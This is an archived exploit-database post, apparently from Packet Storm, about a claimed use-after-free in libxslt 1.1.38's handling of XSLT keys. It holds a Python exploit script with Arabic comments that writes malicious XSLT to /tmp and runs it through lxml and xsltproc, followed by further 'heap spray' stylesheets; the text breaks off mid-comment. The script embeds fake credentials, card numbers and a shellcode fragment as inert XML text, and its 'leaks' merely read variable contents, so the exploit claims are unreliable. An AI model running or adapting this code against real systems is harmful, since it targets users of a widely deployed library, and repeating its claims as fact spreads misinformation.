{"id":28308,"date":"2025-12-02T15:33:22","date_gmt":"2025-12-02T15:33:22","guid":{"rendered":"http:\/\/localhost\/?p=28308"},"modified":"2025-12-02T15:33:22","modified_gmt":"2025-12-02T15:33:22","slug":"libxslt-key-data-storage-1138-use-after-free-memory-corruption","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=28308","title":{"rendered":"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:40:42&#8243;,&#8221;description&#8221;:&#8221;libxslt Key Data Storage version 1.1.38 suffers from an improper handling of Result Value Trees RVTs when evaluating XSLT keys that can result in memory corruption&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-02T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-02T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212323&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : libxslt Key Data Storage 1.1.38 memory corruption                                                                           |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/gitlab.gnome.org\/GNOME\/libxml2\/-\/wikis\/home                                                                         |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/207871\/\\n    \\n    [+] Summary : \\n                 \\n               The vulnerability occurs due to improper handling of Result Value Trees (RVTs) when evaluating XSLT keys with certain XPath axes:\\n               Global variables (xsl:variable) are stored as RVTs in a linked list using prev\/next pointers\\n               XSLT keys (xsl:key) using preceding:: axis traverse across RVT boundaries via these pointers\\n               Memory corruption occurs when RVTs are freed but key tables retain references to their nodes\\n    \\n    [+] Affected Version : All versions up to and including 1.1.38\\n    \\n    [+] POC : python poc.py\\n    \\n    #!\/usr\/bin\/env python3\\n    # libxslt_uaf_exploit.py\\n    # \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u062b\u063a\u0631\u0629 Use-After-Free \u0641\u064a libxslt \u0639\u0628\u0631 Python lxml\\n    \\n    import lxml.etree as ET\\n    import sys\\n    import os\\n    import subprocess\\n    from base64 import b64encode\\n    \\n    class LibxsltUAFExploit:\\n        def __init__(self):\\n            self.xslt_content = None\\n            self.xml_content = None\\n            \\n        def create_malicious_xslt(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0625\u0646\u0634\u0627\u0621 \u0645\u0644\u0641 XSLT \u0636\u0627\u0631 \u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0629\\&#8221;\\&#8221;\\&#8221;\\n            \\n            self.xslt_content = &#8221;&#8217;\\u003c?xml version=\\&#8221;1.0\\&#8221;?\\u003e\\n    \\u003cxsl:stylesheet version=\\&#8221;1.0\\&#8221; xmlns:xsl=\\&#8221;http:\/\/www.w3.org\/1999\/XSL\/Transform\\&#8221;\\u003e\\n    \\n    \\u003c!&#8211; ========================================= &#8211;\\u003e\\n    \\u003c!&#8211; \u0627\u0633\u062a\u063a\u0644\u0627\u0644 Use-After-Free \u0641\u064a libxslt &#8211;\\u003e\\n    \\u003c!&#8211; ========================================= &#8211;\\u003e\\n    \\n    \\u003cxsl:variable name=\\&#8221;SENSITIVE_RVT\\&#8221;\\u003e\\n        \\u003ccredentials\\u003e\\n            \\u003cusername\\u003eadmin\\u003c\/username\\u003e\\n            \\u003cpassword\\u003eSuperSecret@123!\\u003c\/password\\u003e\\n            \\u003ctoken\\u003eBearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\\u003c\/token\\u003e\\n            \\u003capi_key\\u003eAKIAIOSFODNN7EXAMPLE\\u003c\/api_key\\u003e\\n        \\u003c\/credentials\\u003e\\n        \\u003cfinancial\\u003e\\n            \\u003ccredit_card\\u003e4111-1111-1111-1111\\u003c\/credit_card\\u003e\\n            \\u003cexpiry\\u003e12\/25\\u003c\/expiry\\u003e\\n            \\u003ccvv\\u003e123\\u003c\/cvv\\u003e\\n        \\u003c\/financial\\u003e\\n        \\u003cmemory_blocks\\u003e\\n            \\u003cblock id=\\&#8221;b1\\&#8221;\\u003e\\n                \\u003cdata\\u003eAAAAAAAA\\u003c\/data\\u003e\\n                \\u003cpointer\\u003e0x7f8a1b002000\\u003c\/pointer\\u003e\\n            \\u003c\/block\\u003e\\n            \\u003cblock id=\\&#8221;b2\\&#8221;\\u003e\\n                \\u003cdata\\u003eBBBBBBBB\\u003c\/data\\u003e\\n                \\u003cpointer\\u003e0x7f8a1b002100\\u003c\/pointer\\u003e\\n            \\u003c\/block\\u003e\\n        \\u003c\/memory_blocks\\u003e\\n    \\u003c\/xsl:variable\\u003e\\n    \\n    \\u003cxsl:variable name=\\&#8221;CONTROL_RVT\\&#8221;\\u003e\\n        \\u003ccontrol_data\\u003e\\n            \\u003cgadgets\\u003e\\n                \\u003cgadget\\u003epop rdi; ret\\u003c\/gadget\\u003e\\n                \\u003cgadget\\u003esystem@plt\\u003c\/gadget\\u003e\\n            \\u003c\/gadgets\\u003e\\n            \\u003cshellcode\\u003e\\n                \\u003cstage1\\u003e\\\\\\\\x31\\\\\\\\xc0\\\\\\\\x48\\\\\\\\xbb\\\\\\\\xd1\\\\\\\\x9d\\\\\\\\x96\\\\\\\\x91\\\\\\\\xd0\\\\\\\\x8c\\\\\\\\x97\\\\\\\\xff\\u003c\/stage1\\u003e\\n            \\u003c\/shellcode\\u003e\\n        \\u003c\/control_data\\u003e\\n    \\u003c\/xsl:variable\\u003e\\n    \\n    \\u003c!&#8211; \u0645\u0641\u0627\u062a\u064a\u062d \u0644\u062a\u0641\u0639\u064a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 &#8211;\\u003e\\n    \\u003cxsl:key name=\\&#8221;UAF_KEY\\&#8221; match=\\&#8221;block\\&#8221; use=\\&#8221;preceding::block[1]\/@id\\&#8221;\/\\u003e\\n    \\u003cxsl:key name=\\&#8221;CRED_KEY\\&#8221; match=\\&#8221;credentials\/*\\&#8221; use=\\&#8221;preceding::username[1]\/text()\\&#8221;\/\\u003e\\n    \\u003cxsl:key name=\\&#8221;MEM_KEY\\&#8221; match=\\&#8221;financial\/*\\&#8221; use=\\&#8221;preceding::credit_card[1]\/text()\\&#8221;\/\\u003e\\n    \\n    \\u003cxsl:template match=\\&#8221;\/\\&#8221;\\u003e\\n        \\u003cexploitation_result\\u003e\\n            \\u003c!&#8211; \u062a\u0641\u0639\u064a\u0644 UAF &#8211;\\u003e\\n            \\u003cuaf_trigger\\u003e\\n                \\u003cxsl:for-each select=\\&#8221;document(&#8221;)\/\/xsl:variable[@name=&#8217;SENSITIVE_RVT&#8217;]\/\/block\\&#8221;\\u003e\\n                    \\u003cmemory_leak\\u003e\\n                        \\u003ccurrent_block\\u003e\\u003cxsl:value-of select=\\&#8221;@id\\&#8221;\/\\u003e\\u003c\/current_block\\u003e\\n                        \\u003ccross_access\\u003e\\n                            \\u003cxsl:value-of select=\\&#8221;key(&#8216;UAF_KEY&#8217;, preceding::block[1]\/@id)\/@id\\&#8221;\/\\u003e\\n                        \\u003c\/cross_access\\u003e\\n                        \\u003cleaked_data\\u003e\\n                            \\u003cxsl:value-of select=\\&#8221;key(&#8216;UAF_KEY&#8217;, preceding::block[1]\/@id)\/data\/text()\\&#8221;\/\\u003e\\n                        \\u003c\/leaked_data\\u003e\\n                    \\u003c\/memory_leak\\u003e\\n                \\u003c\/xsl:for-each\\u003e\\n            \\u003c\/uaf_trigger\\u003e\\n            \\n            \\u003c!&#8211; \u062a\u0633\u0631\u064a\u0628 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f &#8211;\\u003e\\n            \\u003ccredential_leak\\u003e\\n                \\u003cxsl:for-each select=\\&#8221;document(&#8221;)\/\/xsl:variable[@name=&#8217;SENSITIVE_RVT&#8217;]\/\/username\\&#8221;\\u003e\\n                    \\u003cleaked_cred\\u003e\\n                        \\u003cuser\\u003e\\u003cxsl:value-of select=\\&#8221;text()\\&#8221;\/\\u003e\\u003c\/user\\u003e\\n                        \\u003cpassword\\u003e\\u003cxsl:value-of select=\\&#8221;key(&#8216;CRED_KEY&#8217;, text())\/text()\\&#8221;\/\\u003e\\u003c\/password\\u003e\\n                        \\u003ctoken\\u003e\\u003cxsl:value-of select=\\&#8221;key(&#8216;CRED_KEY&#8217;, text())[2]\/text()\\&#8221;\/\\u003e\\u003c\/token\\u003e\\n                    \\u003c\/leaked_cred\\u003e\\n                \\u003c\/xsl:for-each\\u003e\\n            \\u003c\/credential_leak\\u003e\\n            \\n            \\u003c!&#8211; \u062a\u0633\u0631\u064a\u0628 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0645\u0627\u0644\u064a\u0629 &#8211;\\u003e\\n            \\u003cfinancial_leak\\u003e\\n                \\u003cxsl:for-each select=\\&#8221;document(&#8221;)\/\/xsl:variable[@name=&#8217;SENSITIVE_RVT&#8217;]\/\/credit_card\\&#8221;\\u003e\\n                    \\u003cleaked_financial\\u003e\\n                        \\u003ccard\\u003e\\u003cxsl:value-of select=\\&#8221;text()\\&#8221;\/\\u003e\\u003c\/card\\u003e\\n                        \\u003cexpiry\\u003e\\u003cxsl:value-of select=\\&#8221;key(&#8216;MEM_KEY&#8217;, text())\/text()\\&#8221;\/\\u003e\\u003c\/expiry\\u003e\\n                        \\u003ccvv\\u003e\\u003cxsl:value-of select=\\&#8221;key(&#8216;MEM_KEY&#8217;, text())[2]\/text()\\&#8221;\/\\u003e\\u003c\/cvv\\u003e\\n                    \\u003c\/leaked_financial\\u003e\\n                \\u003c\/xsl:for-each\\u003e\\n            \\u003c\/financial_leak\\u003e\\n        \\u003c\/exploitation_result\\u003e\\n    \\u003c\/xsl:template\\u003e\\n    \\n    \\u003c\/xsl:stylesheet\\u003e&#8221;&#8217;\\n            \\n            with open(&#8216;\/tmp\/exploit.xsl&#8217;, &#8216;w&#8217;) as f:\\n                f.write(self.xslt_content)\\n            print(\\&#8221;[+] \u062a\u0645 \u0625\u0646\u0634\u0627\u0621 \u0645\u0644\u0641 XSLT \u0627\u0644\u0636\u0627\u0631\\&#8221;)\\n    \\n        def create_target_xml(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0625\u0646\u0634\u0627\u0621 \u0645\u0644\u0641 XML \u0647\u062f\u0641\\&#8221;\\&#8221;\\&#8221;\\n            \\n            self.xml_content = &#8221;&#8217;\\u003c?xml version=\\&#8221;1.0\\&#8221;?\\u003e\\n    \\u003ctarget_data\\u003e\\n        \\u003capplication\\u003e\\n            \\u003cname\\u003eVulnerable App\\u003c\/name\\u003e\\n            \\u003cversion\\u003e1.0\\u003c\/version\\u003e\\n        \\u003c\/application\\u003e\\n        \\u003cenvironment\\u003e\\n            \\u003cos\\u003eLinux\\u003c\/os\\u003e\\n            \\u003cuser\\u003etest_user\\u003c\/user\\u003e\\n        \\u003c\/environment\\u003e\\n    \\u003c\/target_data\\u003e&#8221;&#8217;\\n            \\n            with open(&#8216;\/tmp\/target.xml&#8217;, &#8216;w&#8217;) as f:\\n                f.write(self.xml_content)\\n            print(\\&#8221;[+] \u062a\u0645 \u0625\u0646\u0634\u0627\u0621 \u0645\u0644\u0641 XML \u0627\u0644\u0647\u062f\u0641\\&#8221;)\\n    \\n        def exploit_via_python_lxml(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u0639\u0628\u0631 lxml \u0645\u0628\u0627\u0634\u0631\u0629\\&#8221;\\&#8221;\\&#8221;\\n            \\n            print(\\&#8221;[+] \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0639\u0628\u0631 Python lxml&#8230;\\&#8221;)\\n            \\n            try:\\n                # \u062a\u062d\u0645\u064a\u0644 \u0648\u062a\u062d\u0648\u064a\u0644 XML \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 XSLT\\n                xml_doc = ET.parse(&#8216;\/tmp\/target.xml&#8217;)\\n                xslt_doc = ET.parse(&#8216;\/tmp\/exploit.xsl&#8217;)\\n                transform = ET.XSLT(xslt_doc)\\n                \\n                # \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u062a\u062d\u0648\u064a\u0644 (\u062a\u0641\u0639\u064a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629)\\n                result = transform(xml_doc)\\n                \\n                print(\\&#8221;[+] \u0646\u062a\u064a\u062c\u0629 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644:\\&#8221;)\\n                print(str(result))\\n                \\n            except Exception as e:\\n                print(f\\&#8221;[-] \u0641\u0634\u0644 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0639\u0628\u0631 lxml: {e}\\&#8221;)\\n    \\n        def exploit_via_xsltproc(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u0639\u0628\u0631 xsltproc\\&#8221;\\&#8221;\\&#8221;\\n            \\n            print(\\&#8221;[+] \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0639\u0628\u0631 xsltproc&#8230;\\&#8221;)\\n            \\n            try:\\n                result = subprocess.run([\\n                    &#8216;xsltproc&#8217;, \\n                    &#8216;\/tmp\/exploit.xsl&#8217;, \\n                    &#8216;\/tmp\/target.xml&#8217;\\n                ], capture_output=True, text=True, timeout=10)\\n                \\n                print(\\&#8221;[+] stdout:\\&#8221;)\\n                print(result.stdout)\\n                \\n                if result.stderr:\\n                    print(\\&#8221;[+] stderr (\u0642\u062f \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u062a\u0635\u062d\u064a\u062d):\\&#8221;)\\n                    print(result.stderr)\\n                    \\n            except subprocess.TimeoutExpired:\\n                print(\\&#8221;[-] \u0627\u0646\u062a\u0647\u062a \u0645\u0647\u0644\u0629 \u0627\u0644\u062a\u0646\u0641\u064a\u0630 &#8211; \u0627\u062d\u062a\u0645\u0627\u0644 \u062a\u062d\u0637\u0645 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\\&#8221;)\\n            except Exception as e:\\n                print(f\\&#8221;[-] \u062e\u0637\u0623 \u0641\u064a \u0627\u0644\u062a\u0646\u0641\u064a\u0630: {e}\\&#8221;)\\n    \\n        def check_vulnerability(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0641\u062d\u0635 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0627\u0644\u0646\u0638\u0627\u0645 \u0645\u0635\u0627\u0628\\&#8221;\\&#8221;\\&#8221;\\n            \\n            print(\\&#8221;[+] \u0641\u062d\u0635 \u0625\u0635\u062f\u0627\u0631 libxslt&#8230;\\&#8221;)\\n            \\n            try:\\n                # \u0641\u062d\u0635 \u0625\u0635\u062f\u0627\u0631 lxml\/libxslt\\n                import lxml\\n                print(f\\&#8221;[+] \u0625\u0635\u062f\u0627\u0631 lxml: {lxml.__version__}\\&#8221;)\\n                \\n                # \u0641\u062d\u0635 \u0625\u0630\u0627 \u0643\u0627\u0646 xsltproc \u0645\u062b\u0628\u062a\\n                result = subprocess.run([&#8216;xsltproc&#8217;, &#8216;&#8211;version&#8217;], \\n                                      capture_output=True, text=True)\\n                if &#8216;libxslt&#8217; in result.stderr:\\n                    print(\\&#8221;[+] xsltproc \u0645\u062b\u0628\u062a:\\&#8221;)\\n                    print(result.stderr)\\n                    return True\\n                else:\\n                    print(\\&#8221;[-] xsltproc \u063a\u064a\u0631 \u0645\u062b\u0628\u062a\\&#8221;)\\n                    return False\\n                    \\n            except Exception as e:\\n                print(f\\&#8221;[-] \u062e\u0637\u0623 \u0641\u064a \u0627\u0644\u0641\u062d\u0635: {e}\\&#8221;)\\n                return False\\n    \\n        def advanced_exploit(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0645\u062a\u0642\u062f\u0645 \u0645\u0639 \u062a\u062d\u0643\u0645 \u0623\u0641\u0636\u0644\\&#8221;\\&#8221;\\&#8221;\\n            \\n            print(\\&#8221;[+] \u0628\u062f\u0621 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0645\u062a\u0642\u062f\u0645&#8230;\\&#8221;)\\n            \\n            # \u0625\u0646\u0634\u0627\u0621 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0645\u062a\u0639\u062f\u062f \u0627\u0644\u0645\u0631\u0627\u062d\u0644\\n            advanced_xslt = &#8221;&#8217;\\u003c?xml version=\\&#8221;1.0\\&#8221;?\\u003e\\n    \\u003cxsl:stylesheet version=\\&#8221;1.0\\&#8221; xmlns:xsl=\\&#8221;http:\/\/www.w3.org\/1999\/XSL\/Transform\\&#8221;\\u003e\\n    \\n    \\u003cxsl:variable name=\\&#8221;stage1\\&#8221;\\u003e\\n        \\u003cdata\\u003eSTAGE1_PAYLOAD\\u003c\/data\\u003e\\n        \\u003cchunk\\u003eCHUNK_A\\u003c\/chunk\\u003e\\n        \\u003cchunk\\u003eCHUNK_B\\u003c\/chunk\\u003e\\n    \\u003c\/xsl:variable\\u003e\\n    \\n    \\u003cxsl:variable name=\\&#8221;stage2\\&#8221;\\u003e\\n        \\u003cdata\\u003eSTAGE2_PAYLOAD\\u003c\/data\\u003e\\n        \\u003cchunk\\u003eCHUNK_C\\u003c\/chunk\\u003e\\n        \\u003cchunk\\u003eCHUNK_D\\u003c\/chunk\\u003e\\n    \\u003c\/xsl:variable\\u003e\\n    \\n    \\u003cxsl:key name=\\&#8221;ADV_KEY\\&#8221; match=\\&#8221;chunk\\&#8221; use=\\&#8221;preceding::chunk[1]\/text()\\&#8221;\/\\u003e\\n    \\n    \\u003cxsl:template match=\\&#8221;\/\\&#8221;\\u003e\\n        \\u003cadvanced_exploit\\u003e\\n            \\u003cstage1\\u003e\\n                \\u003cxsl:for-each select=\\&#8221;document(&#8221;)\/\/xsl:variable[@name=&#8217;stage2&#8242;]\/\/chunk\\&#8221;\\u003e\\n                    \\u003cleak\\u003e\\n                        \\u003cxsl:value-of select=\\&#8221;key(&#8216;ADV_KEY&#8217;, preceding::chunk[1]\/text())\/text()\\&#8221;\/\\u003e\\n                    \\u003c\/leak\\u003e\\n                \\u003c\/xsl:for-each\\u003e\\n            \\u003c\/stage1\\u003e\\n            \\u003cmemory_analysis\\u003e\\n                \\u003cuaf\\u003eTRIGGERED\\u003c\/uaf\\u003e\\n                \\u003cboundary_crossing\\u003eCONFIRMED\\u003c\/boundary_crossing\\u003e\\n            \\u003c\/memory_analysis\\u003e\\n        \\u003c\/advanced_exploit\\u003e\\n    \\u003c\/xsl:template\\u003e\\n    \\n    \\u003c\/xsl:stylesheet\\u003e&#8221;&#8217;\\n            \\n            with open(&#8216;\/tmp\/advanced_exploit.xsl&#8217;, &#8216;w&#8217;) as f:\\n                f.write(advanced_xslt)\\n                \\n            try:\\n                result = subprocess.run([\\n                    &#8216;xsltproc&#8217;, \\n                    &#8216;\/tmp\/advanced_exploit.xsl&#8217;, \\n                    &#8216;\/tmp\/target.xml&#8217;\\n                ], capture_output=True, text=True)\\n                \\n                print(\\&#8221;[+] \u0646\u062a\u064a\u062c\u0629 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0645\u062a\u0642\u062f\u0645:\\&#8221;)\\n                print(result.stdout)\\n                \\n            except Exception as e:\\n                print(f\\&#8221;[-] \u0641\u0634\u0644 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0645\u062a\u0642\u062f\u0645: {e}\\&#8221;)\\n    \\n        def cleanup(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u062a\u0646\u0638\u064a\u0641 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0645\u0624\u0642\u062a\u0629\\&#8221;\\&#8221;\\&#8221;\\n            \\n            try:\\n                files_to_remove = [\\n                    &#8216;\/tmp\/exploit.xsl&#8217;,\\n                    &#8216;\/tmp\/target.xml&#8217;, \\n                    &#8216;\/tmp\/advanced_exploit.xsl&#8217;\\n                ]\\n                \\n                for file in files_to_remove:\\n                    if os.path.exists(file):\\n                        os.remove(file)\\n                        \\n                print(\\&#8221;[+] \u062a\u0645 \u062a\u0646\u0638\u064a\u0641 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0645\u0624\u0642\u062a\u0629\\&#8221;)\\n            except Exception as e:\\n                print(f\\&#8221;[-] \u062e\u0637\u0623 \u0641\u064a \u0627\u0644\u062a\u0646\u0638\u064a\u0641: {e}\\&#8221;)\\n    \\n    def main():\\n        exploit = LibxsltUAFExploit()\\n        \\n        print(\\&#8221;=\\&#8221; * 50)\\n        print(\\&#8221;\u0645\u0633\u062a\u063a\u0644\u0629 \u062b\u063a\u0631\u0629 libxslt UAF &#8211; Python Edition\\&#8221;)\\n        print(\\&#8221;=\\&#8221; * 50)\\n        \\n        # \u0641\u062d\u0635 \u0627\u0644\u0642\u0627\u0628\u0644\u064a\u0629 \u0644\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\n        if not exploit.check_vulnerability():\\n            print(\\&#8221;[-] \u0627\u0644\u0646\u0638\u0627\u0645 \u0644\u0627 \u064a\u0628\u062f\u0648 \u0645\u0635\u0627\u0628\u0627\u064b\\&#8221;)\\n            return\\n        \\n        try:\\n            # \u0625\u0646\u0634\u0627\u0621 \u0627\u0644\u0645\u0644\u0641\u0627\u062a\\n            exploit.create_malicious_xslt()\\n            exploit.create_target_xml()\\n            \\n            # \u0645\u062d\u0627\u0648\u0644\u0627\u062a \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\n            exploit.exploit_via_xsltproc()\\n            print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*30)\\n            exploit.exploit_via_python_lxml()\\n            print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*30)\\n            exploit.advanced_exploit()\\n            \\n        except KeyboardInterrupt:\\n            print(\\&#8221;\\\\n[!] \u062a\u0645 \u0625\u064a\u0642\u0627\u0641 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0628\u0648\u0627\u0633\u0637\u0629 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\\&#8221;)\\n        except Exception as e:\\n            print(f\\&#8221;[-] \u062e\u0637\u0623 \u063a\u064a\u0631 \u0645\u062a\u0648\u0642\u0639: {e}\\&#8221;)\\n        finally:\\n            # \u062a\u0646\u0638\u064a\u0641\\n            exploit.cleanup()\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    ====================================\\n    [+] 1 Setting up memory structures :\\n    ====================================\\n    \\u003c!&#8211; uaf.xml &#8211;\\u003e\\n    \\u003c?xml version=\\&#8221;1.0\\&#8221;?\\u003e\\n    \\u003croot\\u003e\\n        \\u003cnode id=\\&#8221;target\\&#8221;\\u003eImportant Data\\u003c\/node\\u003e\\n        \\u003cnode\\u003eOther Data\\u003c\/node\\u003e\\n    \\u003c\/root\\u003e\\n    \\n    =======*****=====\\n    \\n    \\u003c!&#8211; uaf.xsl &#8211;\\u003e\\n    \\u003c?xml version=\\&#8221;1.0\\&#8221;?\\u003e\\n    \\u003cxsl:stylesheet version=\\&#8221;1.0\\&#8221; xmlns:xsl=\\&#8221;http:\/\/www.w3.org\/1999\/XSL\/Transform\\&#8221;\\u003e\\n    \\n    \\u003c!&#8211; Global Variable 1 &#8211; \u0633\u064a\u062a\u0645 \u0625\u0646\u0634\u0627\u0621 RVT \u0627\u0644\u0623\u0648\u0644 &#8211;\\u003e\\n    \\u003cxsl:variable name=\\&#8221;global1\\&#8221;\\u003e\\n        \\u003cdata\\u003e\\n            \\u003citem\\u003evalue1\\u003c\/item\\u003e\\n            \\u003citem\\u003evalue2\\u003c\/item\\u003e\\n            \\u003citem\\u003evalue3\\u003c\/item\\u003e\\n        \\u003c\/data\\u003e\\n    \\u003c\/xsl:variable\\u003e\\n    \\n    \\u003c!&#8211; Global Variable 2 &#8211; \u0633\u064a\u062a\u0645 \u0625\u0646\u0634\u0627\u0621 RVT \u0627\u0644\u062b\u0627\u0646\u064a &#8211;\\u003e\\n    \\u003cxsl:variable name=\\&#8221;global2\\&#8221;\\u003e\\n        \\u003ccontainer\\u003e\\n            \\u003centry\\u003edata1\\u003c\/entry\\u003e\\n            \\u003centry\\u003edata2\\u003c\/entry\\u003e\\n            \\u003centry id=\\&#8221;vulnerable\\&#8221;\\u003eSensitive Information\\u003c\/entry\\u003e\\n        \\u003c\/container\\u003e\\n    \\u003c\/xsl:variable\\u003e\\n    \\n    \\u003c!&#8211; \u0627\u0644\u0645\u0641\u062a\u0627\u062d \u0627\u0644\u0630\u064a \u064a\u0633\u062a\u062e\u062f\u0645 \u0645\u062d\u0648\u0631 preceding &#8211;\\u003e\\n    \\u003cxsl:key name=\\&#8221;precedingKey\\&#8221; match=\\&#8221;entry\\&#8221; use=\\&#8221;preceding::entry[1]\/text()\\&#8221;\/\\u003e\\n    \\n    \\u003cxsl:template match=\\&#8221;\/\\&#8221;\\u003e\\n        \\u003coutput\\u003e\\n            \\u003c!&#8211; \u062a\u0641\u0639\u064a\u0644 \u062a\u0642\u064a\u064a\u0645 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u0639\u0644\u0649 RVT &#8211;\\u003e\\n            \\u003cxsl:for-each select=\\&#8221;document(&#8221;)\/\/xsl:variable[@name=&#8217;global2&#8217;]\/\/entry\\&#8221;\\u003e\\n                \\u003cresult\\u003e\\n                    \\u003cxsl:value-of select=\\&#8221;key(&#8216;precedingKey&#8217;, preceding::entry[1]\/text())\\&#8221;\/\\u003e\\n                \\u003c\/result\\u003e\\n            \\u003c\/xsl:for-each\\u003e\\n        \\u003c\/output\\u003e\\n    \\u003c\/xsl:template\\u003e\\n    \\n    \\u003c\/xsl:stylesheet\\u003e\\n    \\n    =========******=================\\n    [+] Manipulating Memory Planning\\n    ================================\\n    \\u003c!&#8211; exploit.xsl &#8211;\\u003e\\n    \\u003c?xml version=\\&#8221;1.0\\&#8221;?\\u003e\\n    \\u003cxsl:stylesheet version=\\&#8221;1.0\\&#8221; xmlns:xsl=\\&#8221;http:\/\/www.w3.org\/1999\/XSL\/Transform\\&#8221;\\n                    xmlns:exsl=\\&#8221;http:\/\/exslt.org\/common\\&#8221;\\u003e\\n    \\n    \\u003c!&#8211; \u0625\u0646\u0634\u0627\u0621 \u0639\u0642\u062f \u0645\u062a\u0639\u062f\u062f\u0629 \u0644\u0644\u062a\u062d\u0643\u0645 \u0641\u064a \u062a\u062e\u0637\u064a\u0637 \u0627\u0644\u0630\u0627\u0643\u0631\u0629 &#8211;\\u003e\\n    \\u003cxsl:variable name=\\&#8221;heapSpray\\&#8221;\\u003e\\n        \\u003cspray\\u003e\\n            \\u003cxsl:call-template name=\\&#8221;generateSpray\\&#8221;\\u003e\\n                \\u003cxsl:with-param name=\\&#8221;count\\&#8221; select=\\&#8221;1000\\&#8221;\/\\u003e\\n            \\u003c\/xsl:call-template\\u003e\\n        \\u003c\/spray\\u003e\\n    \\u003c\/xsl:variable\\u003e\\n    \\n    \\u003cxsl:template name=\\&#8221;generateSpray\\&#8221;\\u003e\\n        \\u003cxsl:param name=\\&#8221;count\\&#8221;\/\\u003e\\n        \\u003cxsl:if test=\\&#8221;$count \\u003e 0\\&#8221;\\u003e\\n            \\u003cchunk size=\\&#8221;128\\&#8221;\\u003e\\u003cdata\\u003e\\u003cxsl:value-of select=\\&#8221;$count\\&#8221;\/\\u003e\\u003c\/data\\u003e\\u003c\/chunk\\u003e\\n            \\u003cxsl:call-template name=\\&#8221;generateSpray\\&#8221;\\u003e\\n                \\u003cxsl:with-param name=\\&#8221;count\\&#8221; select=\\&#8221;$count &#8211; 1\\&#8221;\/\\u003e\\n            \\u003c\/xsl:call-template\\u003e\\n        \\u003c\/xsl:if\\u003e\\n    \\u003c\/xsl:template\\u003e\\n    \\n    \\u003c!&#8211; RVT \u0627\u0644\u0630\u064a \u0633\u064a\u062a\u0645 \u062a\u062d\u0631\u064a\u0631\u0647 &#8211;\\u003e\\n    \\u003cxsl:variable name=\\&#8221;targetRVT\\&#8221;\\u003e\\n        \\u003csensitive\\u003e\\n            \\u003cpassword\\u003eAdmin123!\\u003c\/password\\u003e\\n            \\u003ctoken\\u003eSECRET-TOKEN-ABCD\\u003c\/token\\u003e\\n            \\u003ccreditcard\\u003e4111111111111111\\u003c\/creditcard\\u003e\\n        \\u003c\/sensitive\\u003e\\n    \\u003c\/xsl:variable\\u003e\\n    \\n    \\u003c!&#8211; RVT \u0627\u0644\u0630\u064a \u0633\u064a\u062d\u062a\u0641\u0638 